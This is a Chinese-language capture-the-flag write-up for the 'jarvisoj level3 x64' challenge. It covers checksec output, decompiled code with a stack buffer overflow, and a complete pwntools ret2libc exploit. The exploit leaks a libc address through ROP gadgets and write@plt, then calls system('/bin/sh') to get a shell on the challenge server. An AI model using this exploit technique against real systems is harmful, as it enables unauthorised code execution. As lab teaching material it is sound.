jarvisoj level3 x64
# jarvisoj level3 x64
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/jarvisoj_level3_x64/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}
1
2
3
4
5
2
3
4
5
vulnerable_function函数如下
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
1
2
3
4
5
6
7
2
3
4
5
6
7
# 思路分析
- 目前信息:
vulnerable_function
函数可溢出- 无
system
、/bin/sh
与后门函数 - No canary found
- NX enabled
- No PIE
- 思路:
- 典型的64位
ret2libc
解法
- 典型的64位
# exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_level3_x64/level3_x64'
io = remote('node4.buuoj.cn', 29803)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 136
libc_start_main_got = elf.got['__libc_start_main']
write_plt = elf.plt['write']
vulnerable_function = elf.symbols['vulnerable_function']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
ret=0x400499
payload = flat(['a'*padding, pop_rdi_ret, 1, pop_rsi_r15_ret,libc_start_main_got, 0xdeadbeef, write_plt,vulnerable_function])
# 少设置了write函数的第三个参数rdx为6,但这里不影响,执行write前上一个write的第三个参数rdx为7,中间并没有改变这里可以复用
io.sendafter('Input:\n', payload)
leak_libc_start_main = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success("leak_libc_start_main:"+hex(leak_libc_start_main))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main)
libc_base = leak_libc_start_main-libc.dump('__libc_start_main')
system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')
payload = flat(['a'*padding, pop_rdi_ret, bin_sh, system])
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
上次更新: 2022/08/15, 00:29:49